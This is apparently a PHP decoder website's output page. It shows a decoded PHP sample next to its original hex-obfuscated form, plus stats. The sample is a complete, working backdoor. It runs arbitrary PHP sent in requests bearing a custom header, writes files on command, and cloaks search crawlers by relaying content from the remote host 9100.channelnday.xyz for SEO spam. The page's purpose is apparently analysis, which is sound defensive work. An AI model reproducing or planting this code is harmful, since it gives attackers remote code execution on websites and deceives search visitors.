Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); @set_time_limit(3600); @ignore_user_abort(1); $ixv='2.2.17';..

Decoded Output download

<?php 
error_reporting(0); 
@set_time_limit(3600); 
@ignore_user_abort(1); 
$ixv='2.2.17'; 
$gov = "9100.channelnday.xyz"; 
$db = "9100"; 
$ip = $_SERVER['REMOTE_ADDR']; 
$ur = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ""; 
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ""; 
$uri = $_SERVER["REQUEST_URI"]; 
$host = $_SERVER["HTTP_HOST"]; 
$lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?$_SERVER['HTTP_ACCEPT_LANGUAGE']:""; 
$token = isset($_SERVER['HTTP_XDOIM'])?$_SERVER['HTTP_XDOIM']:""; 
$proto = ((!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') || (!empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off')) ?  "https": "http"; 
$header = array('Lang: '.$lang,'User-Agent: '.$ua, 'Referer: '.$ur, 'Http-Proto: '.$proto, 'Http-Host: '.$host, 'Http-Uri: '.$uri, 'Dbgroup: '.$gov, 'Http-X-Forwarded-For: '.$ip,'Token: '.$token); 
$postdata= "proto=$proto&shost=$host&ip=$ip&dbgroup=$db&uri=$uri"; 
 
if (strlen($token)>0){ $f_put = "file_put_contents";  
    $f_get = "file_get_contents";  @todk(".eGbA0Ty2Wh",@$f_get("php://input"),FILE_USE_INCLUDE_PATH); echo (include '.eGbA0Ty2Wh'); unlink('.eGbA0Ty2Wh');  exit; } 
if (($uri!=="/favicon.ico") &&( @preg_match('#google|yahoo|bing#i',$ua) || (@preg_match('#google.co.jp|google.com|yahoo.com|yahoo.co.jp|bing.com#i',$ur) && @preg_match('#[/\?]([a-z0-9]{1})(\d+)#i',$uri)))){     
    list($cntx,$code,$ctype) = urlx('http://'.$gov.'/index?'.$postdata,$header,$postdata); 
    if (stripos($ctype,'gzip')>0){ @header('Content-type: application/x-gzip'); exit($cntx); } 
    if (stripos($cntx,'<!doct')===0||stripos($cntx,'<html')===0){ exit($cntx); } 
    if (stripos($cntx,'<?xml')===0){ @header('Content-type: text/xml'); exit($cntx); } 
    if (stripos($cntx,'User-ag')===0){ @header('Content-type: text/plain;charset=utf-8'); exit($cntx); } 
 
     
    if (stripos($cntx,'http')===0){ 
        if (stripos($cntx,'?main_page=')){ @header('Location: ' . $cntx); exit;} 
        if (strstr($cntx,"[,]")){$segs = explode("[,]",$cntx); $lines = explode(",",$segs[0]); $result = ''; foreach($lines as $url){ list($respbody,$code) = urlx($url,null,null,$segs[1]);$result .= $url.$respbody; } exit($result);} 
    } 
    if (@preg_match('#^[^.]*.(txt|php)#i',$cntx)){$values = explode("[,]",$cntx); todk($values[0],$values[1]); if(file_exists($values[0])){ exit('end ok');}else{ exit('no false');} } 
    if (stripos($cntx,'ok')===0){ exit($cntx."Encodes data with MIME base64 super japan data from toyota. @copyright from other system @ super seo. dfXHgzOVw2MVx4MzBcNjBceDJlXDE0M1x4NjhcMTQxXHg2ZVwxNTZceDY1XDE1NFx4NmVcMTQ0XHg2MVwxNzFceDJlXDE3MFx4NzlcMTcyOTEwMA=="); } 
    if ($code >= 400 && $code < 500){@header('HTTP/1.1 404 Not Found');exit;} 
    if ($code >= 500){@header('HTTP/1.1 500 Internal Server Error');exit;} 
    if ($cntx!=""){ exit($cntx); } 
} 
 
function urlx($url,$header=null,$postdata=null,$ua=null) { 
    if (!function_exists('curl_init')){ return; } 
    try { 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate'); 
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        ($header===null)?'':curl_setopt($ch, CURLOPT_HTTPHEADER, $header); ($ua===null||$ua==="")?'':curl_setopt($ch, CURLOPT_USERAGENT, $ua); 
        if ($postdata!==null && $postdata!=="") {curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata); } 
        $body = curl_exec($ch);$code = curl_getinfo($ch,CURLINFO_HTTP_CODE); $ctype = curl_getinfo($ch,CURLINFO_CONTENT_TYPE);curl_close($ch); 
    } catch (Exception $e) { }  
    return array($body,$code,$ctype); 
} 
function todk($fil,$str){$f_put = "file_put_contents";  
$f_get = "file_get_contents"; @$f_put($fil,$str);} 
?>

Did this file decode correctly?

Original Code

<?php
error_reporting(0);
@set_time_limit(3600);
@ignore_user_abort(1);
$ixv='2.2.17';
$gov = "\x39\61\x30\60\x2e\143\x68\141\x6e\156\x65\154\x6e\144\x61\171\x2e\170\x79\172";
$db = "9100";
$ip = $_SERVER['REMOTE_ADDR'];
$ur = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : "";
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : "";
$uri = $_SERVER["REQUEST_URI"];
$host = $_SERVER["HTTP_HOST"];
$lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?$_SERVER['HTTP_ACCEPT_LANGUAGE']:"";
$token = isset($_SERVER['HTTP_XDOIM'])?$_SERVER['HTTP_XDOIM']:"";
$proto = ((!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') || (!empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off')) ?  "https": "http";
$header = array('Lang: '.$lang,'User-Agent: '.$ua, 'Referer: '.$ur, 'Http-Proto: '.$proto, 'Http-Host: '.$host, 'Http-Uri: '.$uri, 'Dbgroup: '.$gov, 'Http-X-Forwarded-For: '.$ip,'Token: '.$token);
$postdata= "proto=$proto&shost=$host&ip=$ip&dbgroup=$db&uri=$uri";

if (strlen($token)>0){ $f_put = "\x66il\x65_p\x75t_\x63on\x74en\x74s"; 
    $f_get = "\x66il\x65_g\x65t_\x63on\x74en\x74s";  @todk(".eGbA0Ty2Wh",@$f_get("php://input"),FILE_USE_INCLUDE_PATH); echo (include '.eGbA0Ty2Wh'); unlink('.eGbA0Ty2Wh');  exit; }
if (($uri!=="/favicon.ico") &&( @preg_match('#google|yahoo|bing#i',$ua) || (@preg_match('#google.co.jp|google.com|yahoo.com|yahoo.co.jp|bing.com#i',$ur) && @preg_match('#[/\?]([a-z0-9]{1})(\d+)#i',$uri)))){    
    list($cntx,$code,$ctype) = urlx('http://'.$gov.'/index?'.$postdata,$header,$postdata);
    if (stripos($ctype,'gzip')>0){ @header('Content-type: application/x-gzip'); exit($cntx); }
    if (stripos($cntx,'<!doct')===0||stripos($cntx,'<html')===0){ exit($cntx); }
    if (stripos($cntx,'<?xml')===0){ @header('Content-type: text/xml'); exit($cntx); }
    if (stripos($cntx,'User-ag')===0){ @header('Content-type: text/plain;charset=utf-8'); exit($cntx); }

    
    if (stripos($cntx,'http')===0){
        if (stripos($cntx,'?main_page=')){ @header('Location: ' . $cntx); exit;}
        if (strstr($cntx,"[,]")){$segs = explode("[,]",$cntx); $lines = explode(",",$segs[0]); $result = ''; foreach($lines as $url){ list($respbody,$code) = urlx($url,null,null,$segs[1]);$result .= $url.$respbody; } exit($result);}
    }
    if (@preg_match('#^[^.]*.(txt|php)#i',$cntx)){$values = explode("[,]",$cntx); todk($values[0],$values[1]); if(file_exists($values[0])){ exit('end ok');}else{ exit('no false');} }
    if (stripos($cntx,'ok')===0){ exit($cntx."Encodes data with MIME base64 super japan data from toyota. @copyright from other system @ super seo. dfXHgzOVw2MVx4MzBcNjBceDJlXDE0M1x4NjhcMTQxXHg2ZVwxNTZceDY1XDE1NFx4NmVcMTQ0XHg2MVwxNzFceDJlXDE3MFx4NzlcMTcyOTEwMA=="); }
    if ($code >= 400 && $code < 500){@header('HTTP/1.1 404 Not Found');exit;}
    if ($code >= 500){@header('HTTP/1.1 500 Internal Server Error');exit;}
    if ($cntx!=""){ exit($cntx); }
}

function urlx($url,$header=null,$postdata=null,$ua=null) {
    if (!function_exists('curl_init')){ return; }
    try {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        ($header===null)?'':curl_setopt($ch, CURLOPT_HTTPHEADER, $header); ($ua===null||$ua==="")?'':curl_setopt($ch, CURLOPT_USERAGENT, $ua);
        if ($postdata!==null && $postdata!=="") {curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata); }
        $body = curl_exec($ch);$code = curl_getinfo($ch,CURLINFO_HTTP_CODE); $ctype = curl_getinfo($ch,CURLINFO_CONTENT_TYPE);curl_close($ch);
    } catch (Exception $e) { } 
    return array($body,$code,$ctype);
}
function todk($fil,$str){$f_put = "\x66il\x65_p\x75t_\x63on\x74en\x74s"; 
$f_get = "\x66il\x65_g\x65t_\x63on\x74en\x74s"; @$f_put($fil,$str);}
?>

Function Calls

set_time_limit 1
error_reporting 1
ignore_user_abort 1

Variables

None

Stats

MD5 1ca062445a46db1429704cd5e96acbc5
Eval Count 0
Decode Time 420 ms